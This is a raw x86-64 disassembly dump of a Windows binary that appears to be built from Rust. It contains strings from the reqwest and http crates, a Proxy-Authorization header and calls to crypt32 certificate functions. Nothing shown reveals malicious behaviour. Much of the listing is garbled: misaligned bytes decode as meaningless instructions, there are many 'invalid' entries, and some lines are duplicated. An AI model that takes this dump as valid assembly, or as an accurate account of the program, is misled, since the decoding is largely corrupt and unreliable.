add byte [rax], al
invalid
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xf0], eax
test byte [rax + rsi*8], ah
add byte [rax], al
invalid
mov qword [rsp + 0xb0], rax
movaps xmmword [rsp + 0xa0], xmm1
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xa0], ecx
movaps xmmword [rsp + 0x90], xmm0
cmp r14b, 4
je 0x1400ba045
movzx eax, byte [rsp + 0x2c]
mov byte [rsp + 0x37], al
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x33], eax
mov qword [rsp + 0x38], r15
movups xmm0, xmmword [rdi]
adc byte [rdi], al
adc byte [rdi], al
invalid
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x60], 0
mov byte [rsp + 0x30], r14b
mov byte [rsp + 0x31], bpl
mov byte [rsp + 0x32], bl
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x60], xmm0
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x33]
mov dword [rsp + 0x150], eax
test byte [rax + rdx*2], ah
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x44
and al, 0x37
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x155], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x15d], ax
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x19d], rax
movups xmm0, xmmword [rsp + 0x43]
movups xmm1, xmmword [rsp + 0x73]
movaps xmmword [rsp + 0x190], xmm1
movups xmm1, xmmword [rsp + 0x63]
movaps xmmword [rsp + 0x180], xmm1
movups xmm1, xmmword [rsp + 0x53]
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
mov rax, qword [rsp + 0x19d]
popfq
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x190], al
test byte [rax + rdx*4], ah
add dword [rax], eax
invalid
popfq
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x190], al
test byte [rax + rdx*4], ah
add dword [rax], eax
invalid
test byte [rax + rdx*4], ah
add dword [rax], eax
add byte [rdi], cl
movups xmmword [rsp + 0xd3], xmm0
movups xmmword [rsp + 0xd3], xmm0
mov rax, qword [rsp + 0x150]
mov ecx, dword [rsp + 0x158]
movzx edx, byte [rsp + 0x15c]
add dword [rax], eax
add byte [rdi + rcx - 0x49], al
test byte [rbx*2 + 0x44000001], ah
movzx ecx, byte [rsp + 0x15f]
invalid
add dword [rax], eax
add byte [rdi + rcx - 0x49], al
test byte [rbx*2 + 0x44000001], ah
movzx ecx, byte [rsp + 0x15f]
invalid
add byte [rdi + rcx - 0x4a], al
mov word [rdi + rbx*2], fs
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x160], al
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmm2, xmmword [rsp + 0x180]
and al, 0x80
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x180], dl
and al, 0x80
add dword [rax], eax
invalid
and al, 0x80
add dword [rax], eax
add byte [rdi], cl
adc dword [rsp + 0xc3], edx
movups xmmword [rsp + 0xc3], xmm2
movups xmmword [rsp + 0xb3], xmm1
movups xmmword [rsp + 0xa3], xmm0
and al, 0xa3
add byte [rax], al
invalid
and al, 0xb3
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xa3], eax
and al, 0xa3
add byte [rax], al
invalid
and al, 0xa3
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rbx + rdx*4], ah
add byte [rax], al
add byte [rcx + 0x9b248c], cl
add byte [rax], al
mov qword [rsp + 0x93], rax
mov dword [rsp + 0x9b], ecx
mov byte [rsp + 0x9f], dl
mov word [rsp + 0xa0], r8w
add byte [rax], al
add byte [rsi + 0x44], ah
mov dword [rsp + 0xa0], eax
mov byte [rsp + 0xa2], r9b
mov byte [rsp + 0x90], r14b
mov byte [rsp + 0x91], bpl
mov byte [rsp + 0x92], bl
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x90]
call fcn.1400241a0
movzx eax, byte [rsp + 0x30]
movzx ebx, byte [rsp + 0x31]
cmp al, 3
je 0x1400ba06a
add ecx, dword [rdi]
test byte [rbx], dl
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x4c
and al, 0x32
movzx ecx, byte [rsp + 0x32]
movups xmm0, xmmword [rsp + 0x33]
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [rsp + 0x43]
movaps xmmword [rsp + 0x100], xmm0
movups xmm0, xmmword [rsp + 0x53]
movaps xmmword [rsp + 0x110], xmm0
and al, 0x10
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x63], al
movaps xmmword [rsp + 0x120], xmm0
sub dword [rsp + 0x120], eax
movups xmm0, xmmword [rsp + 0x73]
movaps xmmword [rsp + 0x130], xmm0
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x13d], rdx
mov byte [rsi], al
mov byte [rsi + 1], bl
mov byte [rsi + 2], cl
movaps xmm0, xmmword [rsp + 0xf0]
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x100], cl
sub byte [rsp + 0x100], cl
movaps xmm2, xmmword [rsp + 0x110]
adc byte [rcx], al
add byte [rax], al
movaps xmm3, xmmword [rsp + 0x120]
movups xmmword [rsi + 3], xmm0
movups xmmword [rsi + 0x13], xmm1
movups xmmword [rsi + 0x23], xmm2
movups xmmword [rsi + 0x33], xmm3
movaps xmm0, xmmword [rsp + 0x130]
add dword [rax], eax
add byte [rdi], cl
adc dword [rsi + 0x43], eax
add dword [rax], eax
add byte [rdi], cl
adc dword [rsi + 0x43], eax
mov rax, qword [rsp + 0x13d]
mov qword [rsi + 0x50], rax
mov dword [rsi + 0x50], eax
mov dword [rsi + 0x50], eax
add rsp, 0x1a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0xf0], al
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuripath.rs
or al, byte [rax]
or al, byte [rax]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14015d2f0]
or eax, 0xa32bd
or eax, 0xa32bd
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0xf0
add byte [rax], al
add byte [rdx + 0x2b], bh
mov edx, 0x2b
lea r8, [rsp + 0xf0]
mov edx, 0x2b
call fcn.140122900
mov byte [rsi], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
lea rcx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
test byte [rax + riz*4], ah
add byte [rax], al
add bh, bh
push rax
adc bl, ch
invalid
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
test byte [rax + riz*4], ah
test byte [rax + riz*4], ah
add byte [rax], al
add bh, bh
push rax
adc bl, ch
add eax, dword [rax - 0x4b]
add eax, dword [rax - 0x78]
insb byte [rdi], dx
and al, 0x30
mov bpl, 3
mov byte [rsp + 0x30], bpl
mov byte [rsp + 0x31], bl
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
cmp ecx, dword [rdx]
invalid
xor dword [rax - 0x73], ecx
add eax, 0xa3beb
cmp ecx, dword [rdx]
invalid
mov qword [rsp + 0x20], rax
lea rcx, str.scheme_and_authority_is_valid_Uri
lea r9, [0x14015d2d0]
lea r8, [rsp + 0x30]
mov edx, 0x21
add byte [rax], al
add al, ch
invalid
mov byte [rsi], al
add ah, cl
add al, ch
invalid
add ah, cl
push rsi
sub rsp, 0x20
movzx eax, byte [rcx + 0x2648]
test eax, eax
je 0x1400ba0c1
cmp eax, 3
je case.0x1400aa0a2.75
cmp eax, 4
jne 0x1400ba139
add rcx, 0x2650
add ecx, 0x2650
add rsp, 0x20
pop rsi
jmp fcn.1400bf080
add byte [rax], al
lea rax, [rcx + 0x2650]
push rax
add byte es:[rax], al
invalid
mov rsi, rcx
mov rcx, rax
call fcn.1400bf080
lea rcx, [rsi + 0x4c88]
movabs dword [0x4c888e8d4800004f], eax
add byte [rax], al
call fcn.140106ed0
mov rax, rsi
mov eax, esi
lea rcx, [rsi + 0x4c90]
invalid
nop
add byte [rax], r8b
mov ss, word [rax - 0x9ffffb4]
xchg byte [rax + 0x100004c], cl
mov byte [rax + rax], cl
invalid
nop
add byte [rax], r8b
test byte [rsi + 0x4c88], 1
mov byte [rax + rax], cl
add dword [rax + rdx + 0x48], esi
je 0x1400ba10c
mov rdx, qword [rcx]
je 0x1400ba10c
mov rdx, qword [rcx]
lock dec qword [rdx]
jne 0x1400ba11d
or dh, byte [rbp + 0x18]
call fcn.1400caa30
jmp 0x1400ba11a
invalid
mov rdx, qword [rcx]
lock dec qword [rdx]
jne 0x1400ba11d
call fcn.14002ded0
mov rax, rsi
mov rdx, qword [rax + 0x4cd0]
nop
ror byte [rax + rax], 1
test rdx, rdx
je 0x1400ba139
mov rcx, qword [rax + 0x4cd8]
add rsp, 0x20
invalid
and byte [rsi + 0x48], bl
jmp qword [rdx + 0x18]
nop
add rsp, 0x20
pop rsi
ret
push rbp
mov eax, 0x2638
and ch, byte [rcx]
add byte [rax], al
add byte [rax + 0x63], cl
add al, 0x81
mov dword [rdi + 0x2923], 0x87c60000
and eax, 0x1000029
xchg dword [0x1410ba230], esp
add byte [rax], al
invalid
adc dword [rdi + 0x2788], ecx
add byte [rcx + 0xf], al
adc byte [rsi + 0x40], al
push rax
xchg eax, ecx
invalid
add byte [rcx + 0xf], al
adc byte [rsi + 0x70], al
invalid
xchg edi, eax
invalid
add byte [rdi], cl
adc dword [rdi + 0x27f8], eax
adc dword [rdi + 0x2808], ecx
sub byte [rax], ch
add byte [rax], al
invalid
add byte [rax - 0x77], cl
xchg dword [rax + 0x28], ecx
add byte [rax], al
sub byte [rax], al
add byte [rdi], cl
adc byte [rdi + 0x2710], al
sub byte [rax], al
add byte [rdi], cl
adc byte [rdi + 0x26d0], al
xchg eax, edx
add byte es:[rax], al
xchg eax, edx
add byte es:[rax], al
add byte [rdi], cl
adc byte [rdi + 0x26f0], dl
add byte [rax], al
add byte [rax], al
test byte [rax + riz], ah
add eax, dword [rax]
add byte [rdi], cl
adc byte [rax], al
add byte [rax], al
sub al, 0
add byte [rdi], cl
mov dh, 0x87
xchg dword [rsp + rbp], esp
or eax, 0xda944
scasd eax, dword [rdi]
invalid
xor byte [rax], al
add byte [rax - 0x73], cl
lahf
sub byte [rcx], ch
add byte [rax], al
invalid
cmp eax, 0xffffffff
lea ecx, [0x14015dc80]
invalid
ret 0x4ae8
mov eax, 0x2638
add byte [rdi], cl
adc byte [rsp + 0x680], cl
adc byte [rsp + 0x6b0], al
test byte [rax + rsi*2], ah
cmp eax, dword [rax]
add byte [rax - 0x73], cl
invalid
add eax, 0xe4deb
sub byte [rax], 1
add byte [rax], al
lea eax, [rdi + 0x4c88]
add byte [rax], al
add dh, al
xchg dword [0x1410ba5fd], esp
lea esi, [rdi + 0x2778]
add byte [rdi], cl
adc byte [rbp + 0x10], cl
pop rbp
xor byte [rdi], cl
adc dword [rdi + 0x2778], eax
js 0x1400ba617
add byte [rax], al
js 0x1400ba617
add byte [rax], al
invalid
add byte [rdi], cl
adc byte [rbp + 0x40], al
invalid
movups xmmword [rdi + 0x27b8], xmm0
adc dword [rdi + 0x27c8], eax
enter 0x27, 0
invalid
jo 0x1400ba63c
adc dword [rdi + 0x27e8], eax
invalid
xor byte [rdi], ah
add byte [rax], al
lahf
push rax
invalid
add byte [rdi], cl
adc dword [rdi + 0x27f8], eax
clc
invalid
add byte [rax], al
invalid
add byte [rdi], cl
adc dword [rdi + 0x2808], ecx
sub byte [rax], al
invalid
sub byte [rax], al
add byte [rdi], cl
adc dword [rdi + 0x2818], edx
adc dword [rdi + 0x2828], ebx
sub byte [rax], al
add byte [rax - 0x75], cl
xchg dword [rax + 0x27], esi
add byte [rax], al
add byte [rdi], cl
adc byte [rdi + 0x2710], al
xchg dword [rax], edx
invalid
add byte [rax], al
xchg dword [rax], edx
invalid
adc byte [rdi + 0x26d0], al
add byte es:[rax], al
add byte [rax], al
adc byte [rdi + 0x26f0], dl
xchg edi, eax
lock add byte es:[rax], al
invalid
add byte [rdi], cl
adc byte [rdi + 0x2700], bl
invalid
add byte [rax], al
invalid
adc dword [rdi + 0x2870], edx
xchg edi, eax
jo 0x1400ba6e5
add byte [rax], al
sub byte [rax], al
add byte [rbp + rcx*4 - 0x5c], cl
invalid
invalid
movsb byte [rdi], byte [rsi]
and al, 0xc8
invalid
lea ecx, [rdi + 0x26d8]
add byte [rax], al
push rax
sub byte [rax], al
add byte [rcx], al
invalid
add byte [rax], al
adc byte [r15], cl
sub dword [rsp + 0x180], ecx
add byte [rax], al
and al, 0x70
add dword [rax], eax
add byte [rax], al
and al, 0x70
xchg dword [rsp + rbp], esp
or dword [rax + 1], 0xfe0ffc8
mov bh, 0xaf
invalid
add byte [rdi], cl
mov dh, 0x87
or byte [rax], dh
add byte [rax], al
invalid
add eax, ecx
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x14e8], cl
xchg esp, eax
and al, 0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0xf0], ecx
add byte [rax], al
adc bl, dh
movq qword [rdi + 0x28a0], mm0
idiv bh
sub byte [rax], al
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
test al, 0xd
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rdi + 0x60], al
test byte [rax + rdx*8], ah
invalid
push r8
add byte [rax], al
sub byte [rsp + 0xe0], al
sub byte [rsp + 0x110], bl
adc byte [rcx], al
add byte [rax], al
invalid
sub byte [rcx], ch
add byte [rax], al
mov esp, dword [rsp + 0x14d8]
mov al, 0x28
add byte [rax], al
mov ebx, dword [rdi + 0x2800]
mov edx, dword [rdi + 0x2830]
adc bl, sil
movq qword [rdi + 0x28a0], mm0
test bh, bh
or al, 0
add byte [rax - 0x75], cl
invalid
dec dword [rbx + rcx*4 - 0x79]
sbb byte [rax], ch
add byte [rax], al
push rax
and byte [rcx + 0xf], al
adc byte [rsi + 0x30], bl
add byte [rax], al
jo 0x1400bad71
add byte [rax], al
invalid
mov word [rax + rsi*2], fs
add eax, 0x280f0000
xchg esp, eax
and al, 0x80
add eax, 0x280f0000
pushfq
and al, 0x90
add eax, 0x290f0000
test byte [rax + rsi*8], ah
invalid
add byte [rax], al
add byte [rcx - 0x80], al
cld
add esi, dword [rbp + 7]
add byte [rax], al
movzx ebp, byte [rsp + 0x680]
and al, 0x30
sub eax, dword [rax]
add byte [rbx + rcx*4 - 0x41], cl
jo 0x1400baecd
add byte [rax], al
mov ecx, ebx
mov eax, ebx
or al, 0x48
mov ecx, dword [rdi + 0x2b48]
xor byte [rax - 0x77], cl
jne case.0x1400aa0a2.85
push rax
sub eax, dword [rax]
add byte [rax - 0x75], cl
xchg edi, eax
pop rax
sub eax, dword [rax]
add al, ch
call case.0x14009a20c.177
sar bh, cl
adc eax, 0x7426f
invalid
fsubr dword [rdx]
add byte [rax], al
add byte [rax], al
mov eax, dword [rdi + 0x2ae0]
sub al, byte [rax]
add al, dh
dec qword [rax]
jo case.0x1400ba770.12
add byte [rax], al
push 0x4100002a
mov eax, 0x128
add byte [rax], al
add byte [rax], al
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rdi + 0x2a68]
mov byte [rdi + 0x2dd9], 0
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
sub eax, dword [rax]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg dword [rax + 0x4800002b], esp
mov dword [rsp + 0x2f8], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
add ah, byte [rsi + 6]
add byte [rbp + rcx*4 - 0x59], cl
invalid
invalid
cmpsd dword [rsi], dword [rdi]
loopne 0x1400bb090
add byte [rax], al
invalid
mov edx, esp
and al, 0x60
sldt word [rax]
add ecx, dword [rdi]
test byte [rsi], ch
add eax, 0x87c60000
fldcw word [0x1880cb090]
add byte [rax], al
invalid
invalid
add byte [rax], al
add dword [rax - 0x73], ecx
invalid
lea ecx, [rdi + 0x2ba8]
test al, 0x2b
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
movq mm6, qword [rdi + 0x2a50]
add byte [rax], al
sub al, byte [rax]
add byte [rax - 0x73], cl
xchg edi, eax
sub byte [rcx], ch
add byte [rax], al
invalid
movabs al, byte [0x782484894800002b]
add al, 0
add bl, dh
movq mm0, qword [rdi + 0x2b90]
outsd dx, dword [rsi]
invalid
nop
sub eax, dword [rax]
invalid
mov rcx, qword [rdi + 0x2c70]
mov rdx, qword [rdi + 0x2c78]
add dword [rax], eax
add byte [rcx + 0x138], bh
mov ecx, esi
jl 0x1400bb2af
xor byte [rdx + 0x3b], dh
add byte [rax], al
invalid
add bh, bh
push rax
adc dh, al
xchg dword [rcx + rbp], esp
add byte [rax], al
add byte [rax + 0x27f8bf], al
add byte [rdx], al
mov eax, dword [rdi + 0x2838]
mov edi, 0x8b48fffe
xchg dword [rax + 0x4800002b], ebp
test eax, eax
add dword [rax], eax
add byte [rax - 0x73], cl
and al, 0x18
or al, 0
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x20
or al, 0
add byte [rax - 0x73], cl
mov word [rax + rax*8], fs
and al, 0xc0
and al, 0xc0
adc al, byte [rax]
add byte [rcx - 0x48], al
sbb byte [rdx], al
add byte [rax], al
or byte [rbp + 0xc], dh
adc eax, 0x73d13
insb byte [rdi], dx
and al, 0x48
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x60
add eax, 0xb8410000
adc byte [rcx], al
add byte [rax], al
cmp dword [rbx + 8], 0
add byte [rax], al
mov eax, 0x68206f6e
outsd dx, dword [rsi]
jae 0x1400bbca6
and byte [rax - 0x77], cl
add ecx, dword [rdi]
mov dh, 5
retf
invalid
mov ecx, ebp
lea edx, [rsp + 0xf60]
int3
add byte [rax], al
enter 0, 0
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*8], ah
add dword [rax], eax
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rsi*8], ah
lock add dword [rax], eax
lock add dword [rax], eax
add byte [rbx], al
mov dword [rsp + 0x1f8], 2
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add al, byte [rax]
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rbx*4], ah
add al, byte [rax]
add byte [rbx], al
nop
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
and byte [rax - 0x77], cl
mov word [rax + riz*8], fs
add dword [rax], eax
add bl, dh
movq mm0, qword [rax]
add byte [rax - 0x75], cl
invalid
cli
mov eax, dword [rdi + 0x2c48]
or eax, 0x89490000
fisttp word [rax - 0x75]
xchg dword [rax + 0x2c], edx
add byte [rax], al
and al, 0x40
xchg dword [rbp + 0x2c], esp
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x77], cl
mov word [rax + riz*8], fs
add dword [rax], eax
add byte [rdi], cl
adc byte [rax], al
and al, 0xc0
add dword [rax], eax
add byte [rax - 0x75], cl
xchg dword [rax + 0x2c], ecx
add byte [rax], al
loope 0x1400bc203
add byte [rax], al
add eax, 0xa1bb0
movq qword [rax + r13], mm0
invalid
pop rax
sub al, 0
add byte [rax - 0x73], cl
mov word [rax + rbx*8], fs
add dword [rax], eax
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x1d0]
call qword [rax + 0x10]
invalid
invalid
add cl, ch
add edx, dword [rdi]
add byte [rax], al
mov dword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x2a8987], cl
add byte [rcx + 0x2a8c8f], cl
add bl, dh
movq mm0, qword [rdi + 0x28a0]
sub byte [rax], al
invalid
sub byte [rax], al
add byte [rdi], cl
adc byte [rdi + 0x28b0], cl
add byte [rax], al
shr byte [rax], 0
add byte [rax - 0x77], cl
xchg dword [rax + 0x6600002a], esi
mov dword [rdi + 0x2c60], ebp
lahf
sub al, 0
add dh, al
xchg dword [rsp + rbp], esp
add byte [rax], al
insb byte [rdi], dx
and al, 0x48
sub al, 0
add byte [rcx], al
invalid
add byte [rax - 0x77], cl
mov word [rax + rdi], fs
add dword [rax], eax
add byte [rcx + rcx*4 - 0x1e], cl
adc dword [rdi + 0x2be0], eax
xchg edi, eax
mov byte [rdx], ch
add byte [rax], al
sub al, 0
add byte [rsi - 0x39], ah
xchg dword [rbp + 0x2c], esp
add byte [rax], al
add dword [rcx], eax
invalid
add dword [rdi], ecx
adc byte [rdi + 0x2a90], al
adc byte [rdi + 0x2aa0], al
add byte [rax - 0x75], cl
xchg edi, eax
mov al, 0x2a
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfff44d22
add qword [rax], rax
add byte [rax - 0x77], cl
mov word [rax + rdx*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfff4f8db
and al, 0x58
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
and al, 0x40
and al, 0x40
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*2], ah
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*2], ah
and al, 0x60
and al, 0x60
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*2], ah
add eax, dword [rax]
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rsi*2], ah
add eax, dword [rax]
add byte [rbx], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add eax, 0x48000000
lea eax, [rsp + 0x340]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x77], cl
mov word [rax + riz*2], fs
add eax, dword [rax]
add bl, dh
movq mm0, qword [rax]
add byte [rax], al
add byte [rcx + rbp - 0x10], cl
invalid
mov ecx, dword [rdi + 0x2c50]
out dx, al
sub al, 0
add byte [rcx + rbp - 0x10], cl
sub eax, esi
mov ebp, esp
or eax, 0xc683490a
add cl, byte [rcx + rcx*4 - 0x49]
mov qword [rdi + 0x2c58], r14
invalid
invalid
mov word [rax + rbx*2], fs
pop rax
pop rax
add eax, dword [rax]
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x340]
invalid
invalid
xchg esp, eax
and al, 0x48
mov eax, dword [rsp + 0x340]
mov edx, dword [rsp + 0x348]
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x7c], cl
mov r8, qword [rsp + 0x350]
call qword [rax + 0x10]
mov r12, qword [rsp + 0x28]
mov ebx, dword [rsp + 0x38]
add dh, al
xchg dword [rbp + 0x2c], esp
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x77], cl
mov word [rax + riz*2], fs
add eax, dword [rax]
add byte [rdi], cl
adc byte [rax], al
clc
adc al, 0xf
xchg byte [rbx + 0x48000006], cl
mov eax, dword [rdi + 0x2c50]
movq mm0, qword [str.Proxy_Authorization:]
add esi, 0x15
mov bh, 0x58
sub al, 0
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x48
add eax, dword [rax]
add rax, qword [rax]
add byte [rbx + rcx*4 - 0x54], cl
lodsb al, byte [rsi]
and al, 0x50
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg dword [rax + 0x2c], ecx
add byte [rax], al
invalid
invalid
push rax
sub al, 0
add byte [rcx + rax - 0xf], cl
add rcx, r14
mov bh, 0x58
sub al, 0
add byte [rax - 0x75], cl
xchg dword [rax + 0x2c], ecx
add byte [rax], al
invalid
xchg byte [rdx + 6], dl
add byte [rax], al
mov dword [rax + r14], 0x83490a0d
mov byte [rdx], 0x4c
mov dword [rdi + 0x2c58], esi
invalid
mov bh, 0x58
sub al, 0
add byte [rax - 0x73], cl
cmp byte [rax - 0x75], cl
xchg dword [rax + 0x2c], ecx
add byte [rax], al
sub eax, edx
push qword [rcx - 0x3f7ab7fd]
invalid
add byte [rax], al
add cl, byte [rdi]
test dword [rbx + 0xf000000], esp
mov dh, 5
invalid
add byte [rax - 0x73], cl
invalid
invalid
nop
loopne 0x1400bce55
invalid
invalid
add byte [rax - 0x75], cl
xchg edi, eax
pop rax
sub al, 0
add cl, ch
xor esp, 0x8d48ffff
invalid
add byte [rax], al
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
invalid
mov eax, 2
add al, ch
jb 0x1400bce4c
invalid
xchg edi, eax
pop rax
sub al, 0
add cl, ch
mov ebx, edi
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x16], cl
mov edx, ebp
mov edx, ebp
pop rax
sub al, 0
add byte [rax], al
invalid
xor dh, dl
invalid
invalid
add byte [rax], al
invalid
mov eax, ebp
add byte [rbx + rcx*4 - 0x51], cl
pop rax
sub al, 0
add cl, ch
invalid
invalid
invalid
sub al, 0
add byte [rcx - 0x48], al
invalid
invalid
add al, byte [rax]
add byte [rax], al
invalid
adc ah, al
invalid
scasd eax, dword [rdi]
pop rax
sub al, 0
add cl, ch
jb 0x1400bceca
invalid
invalid
sub al, 0
add byte [rcx - 0x48], al
adc eax, 0x4c000000
add byte [rax], al
add byte [rcx + rcx*4 - 0x16], cl
add byte [rax], al
add byte [rcx + rcx*4 - 0x16], cl
fild word [rsi]
add byte [rbx + rcx*4 - 0x51], cl
pop rax
sub al, 0
add byte [rax], al
invalid
invalid
mov ebp, dword [rdi + 0x2c58]
add byte [rax], al
add byte [rax], al
pop rsp
and al, 0x30
mov ebx, edx
fild word [rsi]
add byte [rax - 0x77], cl
fimul dword [rax - 0x75]
mov rbx, qword [rsp + 0x30]
mov ebp, dword [rdi + 0x2c58]
add byte [rax], al
dec dword [rax - 0x73]
invalid
add al, byte [rax]
add byte [rax], al
invalid
scasd eax, dword [rdi]
pop rax
sub al, 0
add cl, ch
xor ebx, esi
invalid
invalid
add byte [rax], al
mov edx, esi
fild word [rsi]
add byte [rbx + rcx*4 - 0x49], cl
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
mov edx, esi
or eax, 0xe210b
add byte [rax], al
mov rax, qword [rsi + 0x228]
lock dec qword [rax]
je 0x1400be997
cmp qword [rsi + 0x200], 0
add byte [rax], al
je 0x1400be564
mov rcx, qword [rsi + 0x208]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x210]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rsi + 0x1c8], 0
je 0x1400be58a
mov rcx, qword [rsi + 0x1d0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x1d8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsi + 0x1b0]
lock dec qword [rax]
je 0x1400be760
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
je 0x1400be77d
mov rax, qword [rsi + 0x148]
lock dec qword [rax]
je 0x1400be7a1
mov bpl, 2
cmp byte [rsi + 0x140], 2
je 0x1400be5f7
lea rcx, [rsi + 0x138]
mov rax, qword [rsi + 0x120]
mov rdx, qword [rsi + 0x128]
mov r8, qword [rsi + 0x130]
call qword [rax + 0x10]
mov qword [rdi], rbx
mov qword [rdi + 8], r15
mov byte [rdi + 0x10], r14b
mov byte [rdi + 0x11], bpl
mov al, 1
mov byte [rsi + 0x251], al
add rsp, 0x4b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x3a8]
mov r8d, 0x110
mov eax, 0x110
mov eax, 0x110
call fcn.140121660
mov qword [rsp + 0x158], r12
mov qword [rsp + 0x160], rbx
mov qword [rsp + 0x168], r15
cmp r12, 2
jne 0x1400be7c2
movzx eax, byte [0x14019f308]
mov edx, 0x128
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400be9cb
mov rbx, rax
lea rdx, [rsp + 0x158]
mov r8d, 0x128
mov rcx, rax
